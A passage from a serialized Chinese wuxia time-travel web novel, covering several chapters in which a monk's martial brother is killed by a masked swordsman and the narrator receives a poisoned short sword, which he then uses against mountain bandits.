我和李小谦都吓了一跳。李小谦大声惊叫:“不好!大师冻僵了!” 我和李小谦慌忙抬着圆通一路跑回了禅慧寺。在禅慧寺崭新禅房中,点起火炉,给圆通披上厚厚的皮袍。 许久,圆通几如死物,浑身冰冷,躯体僵硬,而且还摸不到鼻息。 我以为圆通被冻死了,心中悲切欲哭。但他却在红泥火炉的温热中奇迹般地苏醒了。 “阿弥陀佛!”圆通轻念佛号,双手艰难地合十。 明知道圆通不会告诉我,但我仍然忍不住地询问:“大师,你到底是为了什么在雷峰塔前跪着?这么冷的天,差点把你冻死!” 这次,圆通却说话了。他说了一些我不能理解的晦涩禅机,他说:“佛曰:人生有八苦:生,老,病,死,爱别离,怨长久,求不得,放不下。求不得,放不下......”他神情忧伤而痛苦,丝毫不比当初他跪在雷锋塔时轻微。 李小谦开口劝解:“大师。寻不到长久的相依,短暂的相伴也是好的。” 那时,我才突然感觉到,李小谦是知道圆通的秘密的。或许他们之间有一次我不曾知晓的长谈,或许李小谦是圆通长久以来倾诉的对象。 但是,我不是。即便是和他们朝夕相处,但我仍是外人。这世间,有很多时候,我们总感觉自己别人已经无比亲近,甚至我们就是亲如一家。但是偶然间又发现,在一个亲密无间的团体中,还有另外一个更加亲密的团体。这样的发现,让我觉得可笑,我嘲笑自己自作多情,过分高估了自己在别人心目中的位置。 其实,我在别人心目中,一直都是无足轻重的那一个。所以,我始终都是一个外人。 一阵寒风吹动禅房的木窗,发出“咔咔“个响声,像是亲密的朋友们在说悄悄话。我无声无息地站了起来,走出禅房,看弯月拨开云雾,月光笼罩,禅慧寺一片银装。 我呆呆地看着雪景,寒风一吹,心中一阵酸涩。 第二天,李小谦找我商量如何留在禅慧寺。 我说:“寺庙是我们帮着圆通建起来的,光明正大地住下就好了。” 李小谦说:“如果那么样,我们始终是禅慧寺的客人。想要染指香火钱,就必须成为禅慧寺的主人!” 我大惊,说:“你想当住持?” 李小谦啐了一口,说:“老子才不当和尚呢!” 我问:“那你想怎么办?” 李小谦说:“趁着圆通还没有招揽弟子,我们先拜他为师,这样就可以光明正大的替他打理寺庙中的事务。” 我说:“你拜圆通为师,还不是要当和尚?” 李小谦笑了笑,说:“俗家弟子!”说完,李小谦便拉着我到了圆通的禅房。 到了门口,李小谦从怀中掏出一个窄口的瓷瓶,将瓶中的液体倒在眼睛上。 我好奇地问:“这是什么?” 李小谦说:“水!”话音刚落,他一把推开圆通的禅房,噗通一声跪倒在圆通的跟前,嚎啕道:“大师啊!你收我作弟子吧!” 圆通正在打坐,见李小谦突然闯入,满脸泪水,吓得脸色刷白,问:“你怎么了?” 李小谦“梆梆”磕了两个响头,说:“我昨天想了一夜,越想越觉得自己命苦。没来由地传到大宋朝,又被同伴抛弃,如今我孤身一人,举目无亲......大师,我痛苦啊!” 圆通叹了口气,说:“爱别离,怨长久,求不得,求不得......”圆通将李小谦扶了起来,说:“好吧,我答应你。” 李小谦又磕了两个头,说:“师父!我有事相求!” 圆通说:“你讲!” 李小谦说:“我不能剃光头!” 圆通问:“为何?” 李小谦说:“我们那里光头是死罪,万一我哪天我回去了,光头肯定要死的。” 圆通点了点头,说:“那好,我许你带发出家。” 就这么简单? 我随即跪在圆通面前,大喊:“师父,我也痛苦!” 圆通瞄了我一眼,说:“不收!” 我当时就傻了,质问圆通:“为什么?” 圆通说:“你没有慧根!” 我问:“什么是慧根?” 圆通指了指李小谦的头,说:“这就是慧根!” 圆通虽然没有收我作弟子,但是他同意我在禅慧寺留住。其实,我并没有太在意这件事。反正我抓着李小谦贪墨禅慧寺香火钱的把柄,那一成的香火钱,他迟早是要给我的。 等到在攒够了钱,我便拿钱离开禅慧寺,在临安府买一个宅子,娶一个女子,生一个孩子...... 这边是那个时候,我全部的理想。 绍兴十三年的春天。我和李小谦在禅慧寺的门口清理一些杂物。圆通本来在禅慧寺建成之事,便准备要开门迎接香客。但李小谦坚决劝止,他说,这样默不作声地开业会影响香火,总要选一个黄道吉日,办一场盛大的典礼,在临安府广而告之。 他真的把禅慧寺当成了生意来经营。并且,得到了圆通的认可。 有时候,我真的很佩服李小谦。我觉得,很多我根本想象不到的事情,在他那里都能得到轻而易举地解决。 李小谦说,这边是慧根。 我开始羡慕他所拥有的慧根。然而,这些我永远无法学到。如果可以学到,我想,绍兴二十一年的那场灾难便不会发生了吧。 我和李小谦正忙得如火如荼之时。山林中突然传来一阵“叮叮当当”的铁器撞击声。 我想,或许是有什么武林高手在山林中比试,便拉着李小谦赶过去偷看。 我们循声过去,悄悄接近,在一个大树后隐藏起来,探出头向林中张望。 两个人,刀光剑影,火花四溅,正打得不可开交。忽然,我发觉其中一个人影颇为熟悉,定睛一看,竟和李小谦同时喊了出来:“圆通!” (抱歉,今天更晚了,主要是昨天喝晕了,今天一整天迷迷糊糊老以为自己已经更新过了……刚才一看,才发现……哈哈……莫要见怪!) 第一卷 最后一个武林盟主 第二十九章 圆信 那人并不是圆通! 很快,我和李小谦便发现了。 尽管,他和圆通有着一样的光头,穿着一样的僧袍,一样的个头,一样的胖瘦,相似的年纪。 但他却不是圆通。 不过,他是个高手!一个和娄琴一样的高手。身形迅捷,出手利落!一柄大刀在他手中挥舞着,呼呼的风声犹如闷雷。 正在我仍犹豫着要不要再靠近一点的时候,他已经发出去十几招,招招厉害,招招致命。 这是一场以性命相博的厮杀! 然而,那个和尚的对手也是一名高手。一个看上去比他厉害很多的高手。他三尺长剑在手,灵巧如蛇,气势如龙,看得我眼花缭乱。 最恐怖的是。我完全看不清他的样貌、装扮,甚至连他的高矮胖瘦也看不清楚。 我只看到一道黑影,带着一把闪亮的长剑,围着那个和尚左右格挡,前后穿梭,变换身形。 剑气破空,呼啸声疾!刀光明晃,破空乍响! 几十轮比试下来。和尚越发吃力了,但那道黑影却仍旧是游刃有余。 即使我不懂武功。但我仍然可以看出两者实力之悬殊,几乎可以称得上天壤之别。黑影之于和尚的厮杀,就像是灵巧的猫在玩弄一只笨拙的老鼠。 不错!就是玩弄! 那黑影和他手中的剑在轻巧地玩弄着那个极力抵抗的和尚,或许只等着他筋疲力竭,只等他气尽神衰,然后那黑影便会一剑刺穿和尚的心肺,彻底结束这场实力悬殊的比试。 一时间,我不知如何是好,便向李小谦使了一个眼色,意思是询问他,我们该怎么办? 李小谦目光瞥了一眼禅慧寺。我以为,他是要我回去通报圆通。 我向他回了一个心领神会的微笑,悄悄站起来,正要转身,却见李小谦足一蹬地,已经窜出去十几米,顷刻间便消失得无影无踪。 少林派的轻功,疾如旋踵,举步生风。 我怔怔地看着李小谦渐渐模糊的背影,由衷地咒骂着,这个贱人! 李小谦逃跑发出的声响已经惊动了不远处正在打斗的两个人。 有一个声音传来,我分辨不出是谁发出来的,只听见一声大喝:“什么人在那里偷看?” 我的心里顿时紧张起来。以他们两个人的武功,以我自己的身手,莫说是那黑影,就是那个和尚也可以轻而易举地将我擒获,并且杀死。 我相信和尚不会杀人。但那个黑影却未必。 我颤巍巍地喊:“我没有偷看!我是路过的!” 我听到一声冷哼,显然有人对我的这番说辞并不接受。但是,我看两人厮杀正紧,都没有过来擒我的意思。我顿时放下心来,转身要走。 “不要动!否则杀了你!” 身后又一个声音传来,仍然不知道是谁说的。我心中一凛,害怕得几乎死掉,回头央求:“我真的只是路过的,放了我吧!” 两个人都没有理我,他们仍在打斗。 准确的说,黑影仍然在玩弄那个和尚。 和尚的刀已经开始变慢,气势也不再逼人,虽然仍在极力地挥舞着,但我可以感受到他招式中所散发出的绝望。 和尚已经不行了。他就要撑不住了。这场实力悬殊的厮杀已近终结。 忽然,黑影从和尚的身前一晃,剑光一闪,穿过和尚身躯,定在和尚的身后。 和尚不动了,黑影也不再动了。 随后,和尚身子晃了晃,手中的长刀“哐啷”一声掉在地上。 一剑封喉,却不见血光! 和尚一头栽倒在地上,许久,脖颈出的伤口才淙淙地冒出血来。他瞪着眼睛,目光中尽是恐惧、绝望,还有一丝渴望...... 他盯着我,一只手伸到怀中,隔着僧衣,他的手在怀中动了动,仿佛是示意我他怀中有什么重要的东西。他向我投来央求的目光,然后便不再动弹了。 我这时才看清楚那个黑影,他不算高,不算胖。但我却仍然看不到他的长相,因为他脸上蒙了一块黑布,一身黑色的夜行衣。 大白天,穿了一身夜行衣,手中三尺青锋散着逼人的寒气,像极了江湖上冷血无情的杀手。 “是你?!” 我看到那人微缩的瞳孔,他目光汇聚,看到我似有疑惑:“你怎么会在这里?” 他是谁?他竟然认得我! 当时,我已经完全吓得不能动弹了,像点了穴一样,浑身发麻,想开口问他,嘴却不听了使唤。 他向我迈近了两步,我感觉到死亡在向我逼近。我想跑,却动弹不了。 我心里在绝望地喊着:完了,完了,我那一成的香火钱,我的宅子,我的女子,我的孩子......我渴望的生活。 这时,从禅慧寺来的方向传来一阵急促的脚步声,忽然脚步声陡然一变,随之便是一阵沙沙的响声。我还没有来得及回头去看,一道黄影已从我身旁略过,在我只感觉身侧刮起一阵强风,猛地卷动我的衣裳。 那黑衣人连连退步,转瞬化成一道黑影,向着树林深处飘去。 黄影紧追不舍。一黑一黄,一前一后,两道身影相继消失在我的视线之中。 我突然感觉像是被解了穴道一般,浑身又听了使唤。但是,一股强大的无力感随之而来,我身子一沉,蹲坐在地上。 吓死我了! 这时,李小谦跑了过来,他的嬉皮笑脸在我眼前一晃,我顿时感觉浑身充满了力量,一跃而起,挥着拳头骂道:“李小谦,你差点害死我!我要杀了你!” 这段时间,李小谦跟着圆通学了一些少林派的入门功夫,手脚渐渐伶俐。我一拳挥出的瞬间,他抬起胳膊在额前一档,格下我的拳头,另一只手跟上抓住我的手臂,瞬间一转,一招少林派擒拿手,将我按倒在地上。 我大骂:“李小谦,你个贼畜生!贱坯子!放了老子!” 李小谦笑着,说:“我这不是叫圆通来救你了嘛!” 我不能接受他这样的说辞,正要继续骂。但是,林子深处黄影一闪,圆通又回来了。 “师父,怎么样啊?” 李小谦大声询问。 圆通摇了摇头,说:“没追上。” 他缓步走到那个死了的和尚跟前,神情突然变得悲伤。他缓缓蹲了下去,一只手在那死去的和尚眼前一拂。死去的和尚闭上了那双不甘的眼睛,彻底像个死人了。 李小谦这才将我松开,快步跑到圆通跟前,问:“师父,这是谁啊?” 圆通说:“我师弟,圆信。” “啊?”李小谦惊讶道:“我师叔啊!”随即,他扑倒地地上嚎叫:“师叔啊......你死得好惨啊......师叔啊......” 圆通似乎是被李小谦的哀嚎感染了,一滴泪水从眼眶中滑落下来。 我走过去,蹲下身子将手伸到圆通师弟的怀里。手刚伸到一半,被圆通一把按住了。 圆通喝道:“你要做什么?” 我说:“他怀里有东西。” 圆通大力将我的手撇开,自己伸了进去,摸了半天,掏出一张暗黄的丝绢布,丝绢布上有字。 李小谦的哀嚎声戛然而止,目光瞥向丝绢。忽然,他目光极度惊讶,叫道:“师父,少林寺......” 圆通一摆手将他打断,说:“回去再议。”他站起身来,又补充了一句:“可爱,把你师叔带回去。” 可爱是李小谦的法号。 为了这个法号,他和圆通争执了很长时间。但是圆通坚持要叫他“可爱”。不知道为什么,李小谦特别不能接受这个法号。他说,他宁可叫戒色。 圆通说,少林寺没有戒字辈。 李小谦辩称,他拜的是禅慧寺,不是少林寺,没有必要按照少林寺的辈分来。圆通却认为,一日入少林,终身为少林,必须按照少林寺的辈分排序,否则今后见了少林寺的后人,容易乱了辈分。 李小谦争辩无果,最终无奈地接受了“可爱”这个法号。 当日,在禅慧寺,圆通为他的师弟超度。午后,在禅慧寺中积薪生火,准备火葬。 我突然想起来圆通以前给我说过的事,他因为超度少林寺住持的狗而被逐出少林。 我问圆通:“要不要去打壶酒?” 圆通身子一颤,随即猛一转身,手指戳中我胸口,将我点住。随后,他却又解了我的穴道,长叹一口气说:“去吧,送到我禅房之中。” 圆通转身走了,留给我一个悲伤的背影。 我本来想给圆通开个玩笑,没想到他竟真的让我去打酒。我吓得一身冷汗,不敢置信地望着李小谦,说:“大师要吃他的师弟!” 李小谦白了我一眼,说:“旦丙,你是不是……”他“傻”字只做了一个口型,并没有发出声音。 李小谦走了。我看着在熊熊烈火中安详而平静的圆信,他正在一阵紧密的“噼啪”声中燃为灰烬。 然而,那个黑衣人的话却让我久久不能平静。 他是谁? 他为何会认得我? 寒光闪过,一剑封喉。我何曾认识这样一个绝世的高手? 疑问,让我陷入了无边无际的思索…… 第一卷 最后一个武林盟主 第三十章 赠剑 圆信千里传锦书,还未见到圆通,却莫名地死在了黑衣人的手中。这对圆通来说,无疑是一个十分沉痛的打击。 圆信火葬的当晚,他在禅房中以酒浇愁,全然不顾佛门规矩。酒过三碗,他便醉得一塌糊涂,随后痛哭流涕。和尚的情感难得爆发了。 圆通说,他和圆信有二十年未见,终于有了机会,圆信却遭人毒手,而他只完了一步。这是天意! 我好奇,那圆信是如何得知圆通的消息呢?但我不能问,我开始有些害怕圆通的点穴功,还有他那捉摸不定的性格。 稍有不慎,便被他点住穴道。少则几个时辰,多则一天一夜。这种事情我经历颇多,无可躲避,并且无能为力。 在禅慧寺的这段时日,我对李小谦最满意的一点便是,他亲自教我识字。并且,他不仅仅会教我识字,还会教我认识他们那个时候的字。 有一些字,他会教我两种写法,虽然两个字有些相似,但李小谦告诉我,一种是繁体,一种是简体。九百年后的人,用的是简体字。 我问李小谦,我的名字简体字怎么写? 李小谦想了想,在纸上这下“鸡蛋饼”三个字。我一看便知,他又在羞辱我。 于是乎,一掌拍在他脑袋上,骂道:“你是不是以为老子傻?!” 李小谦却笑着说:“是的!” 经过一段时间的学习,我回忆起了当初在柳湖书院发现的那纸留书,想起了娄琴所念的那些“什么”,这时已全然理解了。它的全部内容是:老李,我们走了。古籍上记载,五星连珠的力量可以打开时空隧道,今夜就是五星连珠,百年难得一遇,情况紧急,我们不能等你了。回去以后,我去找政府,希望科学家能找到救你回去的方法! 虽然,对其中的一些词汇还是不能理解,但是,我已经明白,李小谦真的回不去了。他的确被同伴抛弃了,并且错过了百年难得一遇的五星连珠。 或许是经历了巨大的悲痛之后,他想开了,也或许是他已经有了新的希望。但李小谦不说,我也不问。 那时候,经历了一些事情,我深感自己愈发胆怯。对很多事,宁可默然旁观,也要缄口不言。 也是在默然旁观之时,我看到了圆信送来的丝绢布上写得内容,内容很简单,只有六个字:少林重建,速归。 李小谦问圆通:“我们是不是要回少林寺?” 圆通表情怅然,他摇了摇头,说:“我罪孽太深,已无颜再回少林。” 李小谦释然地呼了一口气。圆通却说:“你去吧!” 李小谦深情一变,随即噗通一声跪倒在地上,大叫:“师父!弟子舍不得你!” 圆通摇了摇头,从怀中掏出一本书,说:“这是我凭借记忆写出的少林派的绝技,内有少林点穴功、擒拿手以及一些少林派的内家功夫。你将这本书送回少林寺。少林寺历经浩劫,终能重建乃是大事。身为少林弟子,我虽不能回,却要尽些绵薄之力。” 李小谦问:“那我是不是......” 圆通打断他,说:“你将这本书送到少林寺,说明你的身世,如果少林寺肯留你,你便留在少林,若少林寺不肯留你,你便回来。” 李小谦当即点头,说:“是!”他沉吟片刻,又问:“师父,我一个人去吗?” 圆通看了我一眼,问:“旦丙,你可愿与李小谦一起去?” 我当然不愿意。谁愿意放着安逸的日子不过,千里迢迢的出去颠簸。 但在我刚想拒绝的时候,却看见了圆通翘起了两根手指,我心里咯噔一下,连连点头,说:“我去!我去!” 在圆通的淫威之下,我和李小谦踏上了前往少林寺的征程。在临安府安逸地过了半年,我不确定自己是不是还能够习惯那种风餐露宿的日子。 临行前,我和李小谦特意去了一趟娄琴客栈,向娄琴辞行。我们也觉得,确实应该去向娄琴辞行。 到娄琴客栈之时,娄琴正在客栈的厅堂里悠闲地品茶。见我和李小谦不约而至,娄琴爆发出难得一见的热情。她迎上来挽起我和李小谦的胳膊,一边往客栈里拽,一边笑呵呵地说:“你们两个好没有良心,许是忘了你娄姐姐了,这么久都不来看我!” 我说:“我们是来辞行的。” 娄琴一怔,她目光投向李小谦,得到李小谦的肯定之后,便问:“你们要去哪里?” 我说:“少林寺!” 娄琴眉头一蹙,问:“少林寺不是没有了吗?” 我刚要说圆信之事,李小谦却急忙打断了我,说:“圆通师父想念师门,所以命我二人过去看看,如果少林寺败落了,就让我们好好打扫一下。” 娄琴白了李小谦一眼,嗔道:“信你才怪!”随后,她幽幽地叹了一口气,说:“随你吧,反正我对你们少林寺的事也不感兴趣。临行之前,你们能来看看我,我已经很开心了。是不是,可爱?” 李小谦打了一个哆嗦,叫道:“不要叫我可爱!” 娄琴呵呵一笑,说:“我去给你们准备些酒菜,为你们践行。” 李小谦激动地搓着手,大喊:“娄姐姐,我要吃肉!” 这段时间,跟着圆通,清汤寡水的素食确实已经把我们憋坏了。不仅是李小谦,我也异常盼望着一顿香喷喷的肉食,来填补我腹中躁动不安的馋虫。 当夜,我们住在了娄琴客栈。这是我门踏上去往少林寺之路前的最后一个安逸夜晚。前路不仅未知,而起凶险。 去往少林,意味着我们要跨过淮水,到达金人的地盘。虽然,那以前也是大宋的土地。但此时,在金人的统治下,已经不知道变成了什么不堪的样子。 这次在娄琴客栈,我自己住了一间客房。主要是因为,近来,娄琴客栈宾客稀少,多数时候无人光顾。娄琴倒也乐得清闲,不紧不慢地过着悠哉悠哉的日子。 圆月当空。又是一个十五。 我独居客房,回想起昨日在禅慧寺外的树林中,那个黑衣人。 他那句“你怎么会在这里”的疑问,在我心里打下了更深的疑问。 他是谁? 为何从他的眼神中,我感觉不到一点的熟悉? 在我以往所认识的那些人里,也有些人以长剑做兵器,却绝没有一人可以拥有那样惊世骇俗的武功。 那一剑封喉的瞬间。让我久久难以忘却。快得像流星,如电光火石一般一闪而过。 “吱呀”一声,半掩着的房门被人推开了。只见娄琴曼妙的身姿出现在门框之中。我怔了怔,问:“你怎么来了?” 娄琴微微一笑,走进屋子,说:“我来看看你。” 我问:“看我什么?” 娄琴并没有直接回答我的疑问,而是走到窗前,或许看了一眼漆黑如墨的天空中那一轮皓月,月光打在她的脸上,清丽的容颜多了一丝冷峻,她说:“月亮不错。” 我问:“你到底有什么事?” 娄琴摇了摇头,苦笑道:“旦丙,你什么时候可以像小谦那样,说话温柔一点,而且不要总是对一些事情刨根问底儿?” 我沉吟片刻,说:“我不是李小谦,我学不会!” 娄琴叹了口气,她从袖口掏出一把短剑。一把很短的剑。剑鞘上镶满了颜色各异的宝石,在月光下闪烁着绮丽的光彩。我说:“这把匕首不错,很值钱吧!” 娄琴作出一副没好气的表情,用手戳了一下我的肩膀。当然,她并不会点穴。她嗔道:“我真的不知道要如何说你才好。你看到的就只有它很值钱吗?而且,这是一把剑,不是什么匕首!” 我说:“它很漂亮。” 娄琴长叹一口气,将短剑拔出,寒光逼人,让我一阵阵地发冷。 难道......她要杀了我? 为什么! 当然,娄琴并不是要杀我。她只是向我展示那把锋利的短剑。短剑在空中划着美丽的弧线,略过我的面前,发出嗖的一声响。 娄琴说:“此去少林十分凶险,小谦近来功夫大有长进,一般的歹人他可以应付。我只是......”娄琴话音忽止,眼光中似有柔情,她继续说道:“我只是放心不下你。” 对于娄琴突如其来的关切,我顿时语塞,不知如何应答。我静静等待着她接下来的话。 娄琴说:“这把短剑叫九郎剑,我把它送给你,你拿着它防身吧。” 我接过那柄剑。它分量极重,我挥了挥,感觉还不如一根木棒趁手。但娄琴的好意,我却不能拒绝。 我问:“它为什么叫九郎剑?” 娄琴微微一笑,目光投向窗外,似乎陷入回忆。许久,她才说:“因为,为我打造这把剑的人,就叫九郎!” 我问:“他现在在哪里?” 娄琴叹了口气,说:“他......或许已经把我忘了。” 我还想问,娄琴却走了。 她一只脚踏出房门,却又停了下来,她说:“这把剑上有毒,不到万不得已,不要用它伤人。” 第一卷 最后一个武林盟主 第三十一章 毒剑 才出临安府不过三十里。九郎剑便发挥了它的威力。 浮玉山。 巍巍入云,葱郁万木。 这样的环境,也是山贼盗匪栖身的好处所。 刚到山脚下,四周林木便发出一阵窸窸窣窣的声响。李小谦若无其事,但我立刻便感到情况不妙。毕竟在雁荡山做了多年的山贼,对盗匪的行动规律还是有些了解的。 当时,我们正处在绕过浮玉山北上的必经之路,路径狭窄,车马难行,东面是一条墨绿色的小河,波光鳞动,西边便是高耸的浮玉山,两行树木繁茂,正是拦路抢劫的绝佳之地。 忽然,一声哨响,林间呼喝声起,十几条壮汉陡然现身,挥舞着大刀便像饿虎扑食一般地朝我们冲了过来。 我和李小谦还为来得及作出什么反应,那些人已经将我俩团团围住。十几个人,长刀雪亮,映着森森树影,发着凛凛寒气。 “留财不留命,留命不留财。自己选!” 一个文质彬彬的年轻男子站了出来,他说话的声音像他的穿着一样斯文,但他的目光却如鹰一般锐利,像所有杀人劫货的抢匪一样冷酷。 年轻男子从腰间拔出一把弯刀。 这世间,刀有直的也有弯的,并不稀奇。但弯成他手上那刀的模样确也太稀奇了。 那柄刀,几乎弯成了一个圆形,刀尖儿距离刀把不过几寸的距离,首尾几乎就要连在一起。刀身呈现金黄的颜色,像纯金打造一样! 李小谦提着嗓门,问:“来者何人?” 那年轻男子说:“少废话。要钱还是要命?!” 李小谦嘿嘿一笑,说:“要命,当然是要命。” 年轻男子冷哼一声,将弯刀收入腰间。我对他的那柄刀产生了强烈的好奇感,我从来没有见过做成那样的刀。 “你看什么?!”年轻男子大喝一声,指着我说,“是不是找死!” 果然,人不可貌相,这个人的言行举止全然不像他长得那样斯文。 我说:“敢问……那柄刀是什么刀?”我想我应该客气一点,语气尽量谦和,就像李小谦对圆通那样。只有这样,那人才会告诉我,才不会被我莫名其妙地激怒。 但是,我错了! 那人还是怒了。他瞪着一双眼睛几乎要喷出火来,表情狰狞得让他的斯文尽扫! 他把那柄弯刀又拔了出来,金黄色的光芒一闪,“咔啦”一声,一棵大腿一般粗细的树应声倒地。 树枝扑在地上,掀起的灰尘扬了七尺高,遮住那人的脸,却遮不住弯刀的光芒。 真是一把好刀! “这刀是纯金的吗?”我问。 之所以这么问,是因为很多年前,我随着八矛师父在镇江,就曾见过一把纯金打造的刀。当然,那刀的形状并不像这把弯刀一样奇特,而是普通模样,很普通,非常普通。 然而,那把刀曾名满镇江。因为它是一把纯金打造的刀。用三百两黄金,打造一把刀,工钱却花费一万两黄金。 那柄金刀的主人是镇远镖局的总镖头王平。他是八矛师父的至交好友。八矛师父在江湖上最有钱的朋友,也是唯一 一个有钱的朋友。 金刀煅成之时,王平在镇江举行金刀扬名大会。王平在江湖上散布消息:“金刀一斩乾坤定,世间无有比之锋”! 因为这句话,江湖上去了很多人。但他们并不相信,因为黄金质地较软,黄金煅成的刀,可能华丽,却并不锋利,也不坚韧。 但是,所有的人都错了。他们不能相信的事却成了无可争议的事实。 金刀扬名大会上,王平请出金刀,在阳光下闪耀着刺目的金光,他横刀一挥,“当”的一声斩在一块千钧巨石之上。 坚不可摧的巨石犹如砧板上的豆腐,瞬间一分为二,断口齐整,切面从上至下,一气呵成。在场的江湖人瞬间炸开了锅,质地柔软的黄金煅成的刀,成了世间最锋利最坚韧的刀。 当晚,金刀便被人偷了。 王平倾镖局之力,兵分八路搜索盗匪。八组人在外面搜索了整整五天五夜。金刀和盗匪却像人间蒸发了一般,不见了踪影。 后来,王平疯了。再后来,他用一把普通的刀抹了自己的脖子。 那柄金刀,再也没有在江湖上出现过。 如今,又有一把金刀出现的我的面前。虽然,这把金刀并不是当年我所见过的那把。但它的威力却与那把金刀所差无几,甚至可能完全相同。 金刀一斩乾坤定,江湖无有比之锋。 如果是真的。那么这把刀,绝对是件名震江湖的神兵。如今,它为何会埋没在一个碌碌无名的抢匪手中? 李小谦轻轻扯了扯我的衣角,小声说:“你不要命了?不该问的别问!” 显然,年轻男子并不想告诉我有关他那把金刀的任何事。因为,他并没有开口回答我的问题,不仅没有回答,而且已将金刀横在我的面前,距离我的脖颈不过半尺的距离。 “把钱留下赶紧滚,再问东问西,老子这就杀了你!”年轻男子喝道。 这样一个样貌斯文的男子自称“老子”,给人的感觉真的很奇怪! 李小谦慌忙掏出两锭银子,送到那人手中,讪笑道:“老大,不成敬意。放我们走吧!” 年轻男子轻蔑地掂了掂手上的银锭,说:“就这么点儿?” “没了!”李小谦当即抬起胳膊,说:“就这么多了。不信你们搜!” 年轻男子看了李小谦一眼,又将目光投向我,问:“你呢?” 我说:“我没钱。” 年轻男子说:“把值钱的东西拿出来!” 我说:“我没有值钱的东西。” 年轻男子向他身后的人使了个眼色,一个壮汉箭步上来开始在我身上摸索。 当他一只手触到我袖口时,登时脸色一变,露出喜悦之色。我心里咯噔一下,暗叫不好。那人已将手伸进了我的袖口。 我慌忙将他甩开,连退两步。一群抢匪被我的动作激怒,向我逼近。 年轻男子更是挥舞金刀,朝我斩来。金光灿灿,如灼阳一般刺眼,森森刀气却寒如骨髓,杀意腾腾! 我急忙抽出袖中的短剑。 “铮”的一声。 九郎剑应声出窍。我顺势向上格挡,白光 一闪,与金光相撞。 “当”一声响。 我只感觉虎口处一阵剧烈的疼痛,随之传到手臂、肩头,我的半边身子都被刀剑相撞的大力震得几乎失去知觉。 然而,这些还不足以让我震撼。最令我震撼的是那柄刀,把造型奇特的弯刀,那柄弹指间斩断树干的金刀,已经断成了两截! 所有的人都哑然失语!那年轻男子的惊讶之色尤为甚之! 我看着手中那柄短剑。白光闪动,柔波潋滟,像是一个温柔的女子静静地躺在我的手中,护手上镶嵌的宝石在阳光下发出绚丽的光彩,似乎是剑的笑容,灿烂而且骄傲的笑容! 这剑……神了! 我惊讶,无论那柄弯刀是不是如王平丢失的那把金刀一样,是名震天下的绝世神兵,它也绝对是一把锋利无比的好刀。但是,它却败给了我手中的这柄短剑,只顷刻间,成了两段! 年轻男子气得青筋都爆了出来,他两只眼睛喷射得火焰几乎要把我点燃。他举起手中的断刀,向我扑来。 虽然刀已断,但断了的刀却仍有刀锋,他举着刀挥向我的咽喉。 这次,他带着满腔的愤怒,出手明显快了许多。眼看着刀锋割破我的喉头不过在顷刻之间,我完全慌了,紧闭双眼,完全是下意识地抬起了手,举起手中的剑,向上一挑。 我没有听到刀剑相撞的声音,我只听到一声闷哼。睁开眼睛,年轻男子拿刀的手臂已被我割来了一道口子。他连退两步,手捂着伤口,眼神中透露出要将我碎尸万段的恨意。 他的手下见他受伤,纷纷举起手中的刀,明晃晃的十几把刀在我眼前晃动。 “住手!”年轻男子大喝一声,说,“谁也不能动!老子今天要亲手宰了他……” 他话音未落,声音突然变得孱弱。他看着手臂上的伤口,目中有些疑惑,随即转为惊恐。他看着我,说:“你,你这剑……” 我这剑怎么了? 正在我疑惑之时,只见那年轻男子的手臂上血涌如柱。随即,鲜血如江河决堤一般从那小小的伤口处向外喷溅。 所有的人都惊呆,他们瞠目结舌,他们哑口无言,眼睁睁地看着年轻的男子如被齐茬斩断的树木一样,一头栽倒在地上。 鲜血依旧在向外喷溅,将我们脚下的大片土地侵染的一片血红。但那人,早已经断了气息,成了一具尸体。准确的说,是一具干瘪的尸体。 八矛师父曾说,杀一个好人会终生悔恨,但铲奸除恶则会让人畅快淋漓。 然而,第一次杀人,杀死了一个拦路抢劫的匪徒,我并没有感到丝毫的畅快。我感到的是惊恐、慌乱以及难以置信。 将我们围着的抢匪步履踌躇,在原地掂着脚,似乎是想上却又不敢上。突然,一个人“哐啷”一声扔了手中的刀,嚎叫着向山上奔逃。 随即,所有的人都扔了手中的刀,十几人转眼之间作鸟兽散。 “我靠!”李小谦表情惊讶,走了过来,说,“可以啊,旦丙!你很牛逼啊!” 我问:“何为牛逼?” 李小谦一竖大拇指,向我脸前一伸,说:“你就是牛逼!” (本章完) 第一卷 最后一个武林盟主 第三十二章 女子 “这把剑上有毒,不到万不得已,不要用它伤人。” 这是娄琴将九郎剑交个我时留给我的话。 我不愿杀人,也从来没有想过会杀人。虽然在这个世间,人命已经贱得不值几个钱了,但是,我仍然不愿看到别人死在我的手中。即便他是一个恶徒,即便他本来就该死。 但是,当我举起短剑的瞬间,却将娄琴的话抛到了九霄云外! 又或许,从我的内心深入,始终没有将娄琴的话看得多么重要。是我从来都没有把她的那句话放在心上。 然而,一把毒剑却引起了李小谦莫大的兴趣。因为,这把毒剑的毒实在太过惊世骇俗,有什么样的毒能让小小的伤口血流不止,甚至血涌入柱。我闻所未闻,显然李小谦也从来没有听说过。他将九郎剑拿在手里,把剑抽出来,又插进去,抽出来,又插进去,反反复复,不知道看了多少遍。 李小谦说:“你这剑好牛逼啊!这种黑科技要能带回我们那里去,老子可就发财了!” 我赶紧把剑夺了回来,说:“这是我的剑!” 李小谦问:“哪来的?怎么从来没见你用过啊?” 我说:“娄姐姐给的。” 李小谦突然暴躁起来,他叫道:“这么好的东西她凭什么给你不给我啊?” 我说:“娄姐说你用不到!” “我怎么用不到啊?”李小谦很不服气,“我也需要这么牛逼的黑科技啊!” 黑科技又是什么? 我说:“这是剑!不是黑科技!还有......什么是黑科技?” 李小谦指着我的剑,说:“这就是黑科技啊!超级黑科技!” 我说:“这是剑!” 李小谦不再跟我解释,但他的目光始终没有离开过我手中的短剑,并且带着贪婪之色。 突然,李小谦问了一个让我后来疑惑了很久的问题,他说:“娄琴是不是喜欢上你了?” 我突然一怔,接着心中如脱兔乱跳,双颊一热,说:“你,你胡说些什么?” 李小谦分析道:“你不觉得吗?娄琴平日里对你怎么样?” 我想了想,娄琴对我真的很好,非常的好,好得让我感动。但是,她却又不是单单对我一个好。在我看来,她心地善良,古道热肠,对没一人都很好。 我说:“她对我很好。”然后,我觉得这样说不够完整,又补充了一句:“她对你也很好。对大家都很好!” 李小谦摆了摆手,说:“那不一样!” 我问:“有什么不一样?” 李小谦说:“她对我们好,是朋友之情。对你好却未必那么单纯。” 我问:“何以见得?” 李小谦说:“你看,她能为了你得罪青云派,为了你受伤,我们两个人一块去少林寺,她却偏偏给了你这样一个黑科技!” “这是剑!不是黑科技!”我重申。 李小谦说:“好,好,好!这是剑!但却是一把有情意的剑!你不能否认吧?” 我的确无法否认。因为我想起 